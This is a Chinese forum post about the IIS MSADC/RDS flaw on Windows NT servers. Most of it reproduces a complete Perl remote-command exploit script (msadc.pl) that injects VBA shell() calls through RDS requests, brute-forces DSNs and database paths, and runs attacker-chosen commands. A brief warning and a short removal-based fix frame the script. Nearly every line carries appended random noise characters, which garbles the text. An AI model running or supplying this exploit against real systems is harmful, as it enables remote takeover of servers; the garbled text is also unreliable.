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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) <$jKy3@  
5c: '>  
涉及程序: =5y`(0 I`U  
Microsoft NT server _m9~*  
Ky[bX  
描述: "_K}rI6(t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Lw>-7)  
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详细: |H ^w>mk  
如果你没有时间读详细内容的话,就删除: 2#z=z d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t a&Q4v&-  
有关的安全问题就没有了。 l60ikc4$I  
l^k+E-w\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 29"mE;j  
aGPqh,<QD  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [AXsnpa/C  
关于利用ODBC远程漏洞的描述,请参看: XnBm`vk?V!  
w$gS j/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $brKl8P  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 IWAj Mwo  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DVObrL)znL  
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这里不再论述。 !xkj30O(G  
xME(B@j  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: n}19?K]g  
6 -]>]Hr-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <z^SZ~G  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! x.I][(}  
1'NhjL  
X(IyvfC  
#将下面这段保存为txt文件,然后: "perl -x 文件名" F(deu^s%{  
Ll,I-BQ 9  
#!perl vx'l> @]k  
# SijtTY#r  
# MSADC/RDS 'usage' (aka exploit) script F y b[{"  
# M9gOoYf,~  
# by rain.forest.puppy a;%I\w;2  
# {`a(Tl8V  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O47PkP8  
# beta test and find errors! Fav?,Q,n  
UL&} s_  
use Socket; use Getopt::Std; \H^;'agA  
getopts("e:vd:h:XR", \%args); *t^eNUA  
#+$ zE#je  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; i&JpM] N  
F"I*-!o  
if (!defined $args{h} && !defined $args{R}) { JRq3>P  
print qq~ kL|\wci  
Usage: msadc.pl -h <host> { -d <delay> -X -v } yX`#s]M  
-h <host> = host you want to scan (ip or domain) sa G8g  
-d <seconds> = delay between calls, default 1 second "rsSW 3_  
-X = dump Index Server path table, if available z?)He)d  
-v = verbose ^;+[8:Kb  
-e = external dictionary file for step 5 }B`Ku5 M  
!:3^ hb  
Or a -R will resume a command session sdrWOq  
rkq#7  
~; exit;} CI^[I\$&  
syR N4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; >zQOK-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9:Si] Pp+S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `%Q&</X  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); LX\)8~dp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} U9 bWU'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9p4y>3  
D*QYKW=)  
if (!defined $args{R}){ $ret = &has_msadc; )&:L'N  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} `"c'z;  
~ ltg  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" h,t:]  
. "cmd /c "; J#''q"rZ  
$in=<STDIN>; chomp $in; J'e]x[Y  
$command="cmd /c " . $in ; l[oe*aYN7  
A @2Bs 5F  
if (defined $args{R}) {&load; exit;} TcJ$[  
vQgq]mA?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q(Hip<6p  
&try_btcustmr; !p',Za   
b# u8\H  
print "\nStep 2: Trying to make our own DSN..."; Bd&`Xfebj  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /OG zt  
at| \FOKj  
print "\nStep 3: Trying known DSNs..."; 1'Rmg\(  
&known_dsn; Zj!Abji=O  
k"0;D-lTZ>  
print "\nStep 4: Trying known .mdbs..."; ;|HL+je;Z  
&known_mdb; E{% SR  
2"X~ju  
if (defined $args{e}){ kAo.C Nj7  
print "\nStep 5: Trying dictionary of DSN names..."; "(f`U.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } {[W(a<%bXm  
Hhl-E:"H`  
print "Sorry Charley...maybe next time?\n"; i%F<AY\O)  
exit; 4-^[%&>}  
R,,Qt TGB  
############################################################################## |>+uw|LtZ  
<#*.}w~  
sub sendraw { # ripped and modded from whisker .Y\EE;8%  
sleep($delay); # it's a DoS on the server! At least on mine... A gWPa.'3  
my ($pstr)=@_; '!Wvqs  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ` >U?v  
die("Socket problems\n"); o\!qcoE2W  
if(connect(S,pack "SnA4x8",2,80,$target)){ p$XKlg&  
select(S); $|=1; {v,)G)obWw  
print $pstr; my @in=<S>; [_.n$p-  
select(STDOUT); close(S); dYF=c   
return @in; 3i=Iu0  
} else { die("Can't connect...\n"); }} _ck[&Q  
Z h'&-c_J  
############################################################################## .<YcSG  
T1bd:mC}n  
sub make_header { # make the HTTP request *eb-rhCVn  
my $msadc=<<EOT K 1W].(-@4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ej^3Y Nh&  
User-Agent: ACTIVEDATA ?obm7<  
Host: $ip ahGT4d`)9  
Content-Length: $clen tj5giQ3DG)  
Connection: Keep-Alive *C2R`gpBI  
L0"~[zB]N  
ADCClientVersion:01.06 iqPBsIW  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N+g@8Q2s;5  
#/70!+J_UF  
--!ADM!ROX!YOUR!WORLD! h-QLV[^  
Content-Type: application/x-varg Gquuy7[&  
Content-Length: $reqlen T?wzwGp-[  
lm0N5(XP  
EOT q.V-LXM  
; $msadc=~s/\n/\r\n/g; w/m:{cHk  
return $msadc;} \?lz&<  
8Vn4.R[vE  
############################################################################## 1[PMDS_X  
c0rk<V%5+  
sub make_req { # make the RDS request ^%<pJMgdF  
my ($switch, $p1, $p2)=@_; =RsXI&&vh  
my $req=""; my $t1, $t2, $query, $dsn; uY#TEjGh]  
E6A /SVp  
if ($switch==1){ # this is the btcustmr.mdb query ~Xv=9@,h  
$query="Select * from Customers where City=" . make_shell(); ',=g;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,6"l(]0  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} yVJ%+d:6  
 $xgBKD  
elsif ($switch==2){ # this is general make table query F- rQ3  
$query="create table AZZ (B int, C varchar(10))"; )!W45"l-3M  
$dsn="$p1";} I 3$dVls}  
KZ:hKY@q  
elsif ($switch==3){ # this is general exploit table query QlZ@ To  
$query="select * from AZZ where C=" . make_shell(); ,kM)7!]N  
$dsn="$p1";} o l ({AYB  
ftbpqp'  
elsif ($switch==4){ # attempt to hork file info from index server ccJM>9  
$query="select path from scope()"; Jjm|9|C,  
$dsn="Provider=MSIDXS;";} -:Rp'SJ  
SNpi=K!yn  
elsif ($switch==5){ # bad query nE W31 8  
$query="select"; pdVQ*=c?M  
$dsn="$p1";} kxB.,'  
n.}T1q|l  
$t1= make_unicode($query); @{HrJ/4%:&  
$t2= make_unicode($dsn); ROb\Rx m  
$req = "\x02\x00\x03\x00"; z j{s}*  
$req.= "\x08\x00" . pack ("S1", length($t1)); E/b"RUv}h  
$req.= "\x00\x00" . $t1 ; i@P}{   
$req.= "\x08\x00" . pack ("S1", length($t2)); P 7D!6q  
$req.= "\x00\x00" . $t2 ; l.=p8-/$'7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; N_gD>6I  
return $req;} lS5ny  
uE5X~  
############################################################################## {]N3f[w  
PAF8W lg  
sub make_shell { # this makes the shell() statement 7(a2L&k^  
return "'|shell(\"$command\")|'";} dY!Z  
nHXX\i  
############################################################################## 8?FueAM'  
*C|  
sub make_unicode { # quick little function to convert to unicode PL=^}{r  
my ($in)=@_; my $out; TLa]O1=Bf.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Sm{>rR  
return $out;} 6;b9swmh  
sy5 Fn~\R  
############################################################################## cntco@  
2[yBD-":  
sub rdo_success { # checks for RDO return success (this is kludge) X@A1#z+s0]  
my (@in) = @_; my $base=content_start(@in); -7qIToO.  
if($in[$base]=~/multipart\/mixed/){ xyh.N)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :$3oFN*g  
return 0;} k ]a*&me  
 a*dQ _  
############################################################################## ^%T7.1'x  
e&<yX  
sub make_dsn { # this makes a DSN for us ?=Pd  
my @drives=("c","d","e","f"); Rd*[%)  
print "\nMaking DSN: "; ^ZRYRA  
foreach $drive (@drives) { (=x"Y{%  
print "$drive: "; rJyCw+N0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,L> ar)B  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >pL2*O^{9  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m:QG}{<.h  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; S56]?M|[  
return 0 if $2 eq "404"; # not found/doesn't exist 3INI?y}t   
if($2 eq "200") { iI1n2>V3y  
foreach $line (@results) { gxNL_(A  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [tT8_}v$LN  
} return 0;} }GwVKAjP  
]jMKC8uz  
############################################################################## ~:4kU/]  
1%[_`J;>Z  
sub verify_exists { "8)z=n  
my ($page)=@_; UPU+ver  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $m$;v<PSe  
return $results[0];} d50Vtm\  
PG%0yv%  
############################################################################## Yf_6PGNzX  
8TV;Rtl  
sub try_btcustmr { DPgm%Xq9(!  
my @drives=("c","d","e","f"); LwqC ~N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $"JpFT  
f7urJ'!V  
foreach $dir (@dirs) { d;[u8t  
print "$dir -> "; # fun status so you can see progress j-@kW'K  
foreach $drive (@drives) { V)M1YZV{  
print "$drive: "; # ditto zSTR^sgJ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &$FvWFRh#  
$reqlenlen=length( "$reqlen" ); Ue:z1p;g  
$clen= 206 + $reqlenlen + $reqlen; >B -q@D  
YB))S!;Ok  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); AbwbAm+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} od<b!4k~s  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} : 9!%ZD  
hi2sec|;<  
############################################################################## P@}Pk  
D0G-5}s`  
sub odbc_error { AnsjmR:Jv  
my (@in)=@_; my $base; 5MTgK=c  
my $base = content_start(@in); NLd``=&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *V^ #ga#A  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GOy%^:Xd  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7Ey#u4Q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; t G.(flW,  
return $in[$base+4].$in[$base+5].$in[$base+6];} &-yGVx  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k_|^kdWJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  NW9n  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2C^B_FUg|]  
#G]!%  
############################################################################## z2c5m  
imL_lw^?  
sub verbose { DC+wD Bp;  
my ($in)=@_; 1nhtM  
return if !$verbose; ?^#lWx q  
print STDOUT "\n$in\n";} >RI>J.~  
u`:hMFTID  
############################################################################## ,8G{]X)  
hjx)D  
sub save { #C*8X+._y  
my ($p1, $p2, $p3, $p4)=@_; / jTT5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; al9.}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >-< 8N-@"n  
close OUT;} X<OSN&d  
Q/>L_S  
############################################################################## *!e(A ]&  
Fig&&b a  
sub load { qF)< H  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1t[j"CG(o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~`#-d ^s:  
@p=<IN>; close(IN); f3*?MXxb16  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); XJ0 {  
$target= inet_aton($ip) || die("inet_aton problems"); -ZOBAG*  
print "Resuming to $ip ..."; 1r)kR@!LNG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4A`NJ  
if($p[1]==1) { S*)1|~pRvQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; N6QVt f.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >?W[PQ5yx  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); yI{5m^s{  
if (rdo_success(@results)){print "Success!\n";} 6~meM@  
else { print "failed\n"; verbose(odbc_error(@results));}} Q-TV*FD.  
elsif ($p[1]==3){ M.}7pJ7f  
if(run_query("$p[3]")){ cF T 9Lnz  
print "Success!\n";} else { print "failed\n"; }} ]LPQYL  
elsif ($p[1]==4){ >"3>s%  
if(run_query($drvst . "$p[3]")){ rd|uz4d  
print "Success!\n"; } else { print "failed\n"; }} Y]aW)u  
exit;} _#$9 y1bd  
o6kNx>tc)  
############################################################################## 0\{BWNK  
w*j$uW6{  
sub create_table { ?z-}>$I;  
my ($in)=@_; iP~,n8W  
$reqlen=length( make_req(2,$in,"") ) - 28; BG2)v.CU  
$reqlenlen=length( "$reqlen" ); JHn*->m  
$clen= 206 + $reqlenlen + $reqlen; )4Q?aMm  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ac k}QzXO  
return 1 if rdo_success(@results); q]& .#&h  
my $temp= odbc_error(@results); verbose($temp); pe0x""K  
return 1 if $temp=~/Table 'AZZ' already exists/; ^W83ByP  
return 0;} 9$K;Raz%  
&(rWwOo6  
############################################################################## =H7xD"'%R  
ZsP2>%"  
sub known_dsn { u9-nt}hGYM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 92W&x'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", t/i5,le  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w&&2H8  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); "HMP$)d  
_K2?YY(#>  
foreach $dSn (@dsns) { Hq&"+1F  
print "."; u8b2$D  
next if (!is_access("DSN=$dSn")); 4NEq$t$Jn  
if(create_table("DSN=$dSn")){ $*[{J+t_  
print "$dSn successful\n"; Ru!He,k7  
if(run_query("DSN=$dSn")){ nHFrG =o,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { mumXUX  
print "Something's borked. Use verbose next time\n";}}} print "\n";} D8K-K]W@  
,M !tm7  
############################################################################## $ls[|N:y0l  
S|AM9*k9  
sub is_access { p(SRjQt  
my ($in)=@_; USJ- e  
$reqlen=length( make_req(5,$in,"") ) - 28; 2pHR_mrb  
$reqlenlen=length( "$reqlen" ); b}ODWdJ1  
$clen= 206 + $reqlenlen + $reqlen; Eq% @"-m o  
my @results=sendraw(make_header() . make_req(5,$in,"")); td2/9|Q  
my $temp= odbc_error(@results); _Yb _D/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !X >=l  
return 0;} `WEZ"5n  
tU wRE|_  
############################################################################## EC&@I+'8Q  
,"-Rf<q/  
sub run_query { [a[/_Sf{  
my ($in)=@_; w^k;D,h  
$reqlen=length( make_req(3,$in,"") ) - 28; $>M<j  
$reqlenlen=length( "$reqlen" ); XK(`mEi  
$clen= 206 + $reqlenlen + $reqlen; 0Y=![tO8  
my @results=sendraw(make_header() . make_req(3,$in,"")); wbyE;W  
return 1 if rdo_success(@results); ?C0l~:j7D  
my $temp= odbc_error(@results); verbose($temp); p4>$z& _  
return 0;} EUYCcL'G  
PQW(EeQ  
############################################################################## W|k0R4K]]  
o;"OSp  
sub known_mdb { Z!xVgM{  
my @drives=("c","d","e","f","g"); 07T70[G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X#a`K]!B  
my $dir, $drive, $mdb; ^62|d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; fJ*:{48  
%m5Q"4O  
# this is sparse, because I don't know of many x Ha=3n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", nq} Q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 8 S`9dSc  
"\\system32\\certmdb.mdb", jt~Qu-  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ER2GjZa\z  
s}&bJ"!Z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~wnOV#v  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Thy=yz;p  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ln*icaDqf  
"\\cfusion\\cfapps\\security\\realm_.mdb", ?8dVH2W.  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", rR ES8/  
"\\cfusion\\database\\cfexamples.mdb", &MR/6"/s  
"\\cfusion\\database\\cfsnippets.mdb", yDb'7(3-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", WlB' YL-`g  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", sH,kW|D  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5/[H+O1;  
"\\cfusion\\database\\smpolicy.mdb", z><5R|Gf  
"\\cfusion\\database\cypress.mdb", ,7Y-k'7Kop  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6Q4X 6U:WB  
"\\website\\cgi-win\\dbsample.mdb", 3T\l]? z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eC DIwB28  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |9xI_(+{kP  
); #these are just P=N$qz$U  
foreach $drive (@drives) { Mj>}zbpk /  
foreach $dir (@dirs){ :qhpL-ER  
foreach $mdb (@sysmdbs) { +@9gkPQQ-@  
print "."; -!RtH |P  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {s?M*_{|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )/ Ud^wi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ o!TQk{0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; rsn.4P=  
} else { print "Something's borked. Use verbose next time\n"; }}}}} qM4c]YIaSl  
MmPU7Nl%X  
foreach $drive (@drives) { I-D^>\k+  
foreach $mdb (@mdbs) { 4rK{-jvh>m  
print "."; Uk*IpP`  
if(create_table($drv . $drive . $dir . $mdb)){ P;ZU-G4@   
print "\n" . $drive . $dir . $mdb . " successful\n"; MfF~8  
if(run_query($drv . $drive . $dir . $mdb)){ lLq<xf  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6\7nc FO3  
} else { print "Something's borked. Use verbose next time\n"; }}}} F~#zxwd  
} tbo>%kn  
Eh</? Qv\  
############################################################################## j*@l"V>~  
Kr'f-{  
sub hork_idx { p=GWq(S6  
print "\nAttempting to dump Index Server tables...\n"; mpC`Yk  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; nL@KX>  
$reqlen=length( make_req(4,"","") ) - 28; WS-dS6Q}  
$reqlenlen=length( "$reqlen" ); UEs7''6RM  
$clen= 206 + $reqlenlen + $reqlen; gwrYLZNGI  
my @results=sendraw2(make_header() . make_req(4,"","")); l5%G'1w#,j  
if (rdo_success(@results)){ @[<nQZw:  
my $max=@results; my $c; my %d; K`&oC8p  
for($c=19; $c<$max; $c++){ CQ7{1,?2  
$results[$c]=~s/\x00//g; {%)s.5Pfw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +:=(#Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; "]'?a$\ky:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #?MY&hdU9  
$d{"$1$2"}="";} q>f<u&  
foreach $c (keys %d){ print "$c\n"; } j hYToMq  
} else {print "Index server doesn't seem to be installed.\n"; }} \]Kh[z0"  
wHZW `  
############################################################################## 682Z}"I0  
-50 HB`t  
sub dsn_dict { H>Q%"|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); c0c|z Ym  
while(<IN>){ D.D$#O_n.S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; jdKOb  
next if (!is_access("DSN=$dSn")); G)#$]diNuX  
if(create_table("DSN=$dSn")){ H|ozDA  
print "$dSn successful\n"; nMDxH $O  
if(run_query("DSN=$dSn")){ dca ;'$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { I{JU-J k|  
print "Something's borked. Use verbose next time\n";}}} rqv))Zo`  
print "\n"; close(IN);} 4${jr\q]  
WPZ?*Sx  
############################################################################## Ze< K=Q%(i  
~/NKw:  
sub sendraw2 { # ripped and modded from whisker d\e7,"L*Q  
sleep($delay); # it's a DoS on the server! At least on mine... #QCphhG  
my ($pstr)=@_; (>J4^``x=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `&0Wv0D0  
die("Socket problems\n"); j Ja$a [  
if(connect(S,pack "SnA4x8",2,80,$target)){ jVLA CWH  
print "Connected. Getting data"; ,F&g5'  
open(OUT,">raw.out"); my @in; NmK8<9`u  
select(S); $|=1; print $pstr; #T`t79*N  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} js1!9%BV  
close(OUT); select(STDOUT); close(S); return @in; FZreP.2)!  
} else { die("Can't connect...\n"); }} &`b "a!  
(SSRY9  
############################################################################## Uax+dl   
[m^+,%m5]  
sub content_start { # this will take in the server headers /iG*)6*^k  
my (@in)=@_; my $c; L@=3dp!\Cu  
for ($c=1;$c<500;$c++) { e1//4H::t  
if($in[$c] =~/^\x0d\x0a/){ dr4Z5mw"E  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v}WR+)uFQ  
else { return $c+1; }}} }b1cLchl  
return -1;} # it should never get here actually T843":  
f#ri'&}c :  
############################################################################## $d?.2Kg  
`3p~m,  
sub funky { U%0Ty|$Y   
my (@in)=@_; my $error=odbc_error(@in); %s19KGpA  
if($error=~/ADO could not find the specified provider/){ R_=6GZH$G  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; o1nURJ!  
exit;} (a9d/3M  
if($error=~/A Handler is required/){ Vh>Z,()>>@  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8Lw B B  
exit;} #^+DL]*l  
if($error=~/specified Handler has denied Access/){ (sWLhUgRX  
print "\nServer has custom handler filters (they most likely are patched)\n"; `6+"Z=:  
exit;}} _X?^Cy  
9@+5LZR  
############################################################################## qZ@s#UiB  
9mZ  
sub has_msadc { r(gXoq_w  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \W,I?Kx$  
my $base=content_start(@results); B=|cS;bM$3  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~/j\Z  
return 0;} a22XDes=  
LR" 9D  
######################## 86nN"!{l:  
V59(Z  
,AT[@  
解决方案: -_$$Te  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll y(K" -?  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 B$Kn1 k  
zP<pEI  
拿出来充数 哈哈
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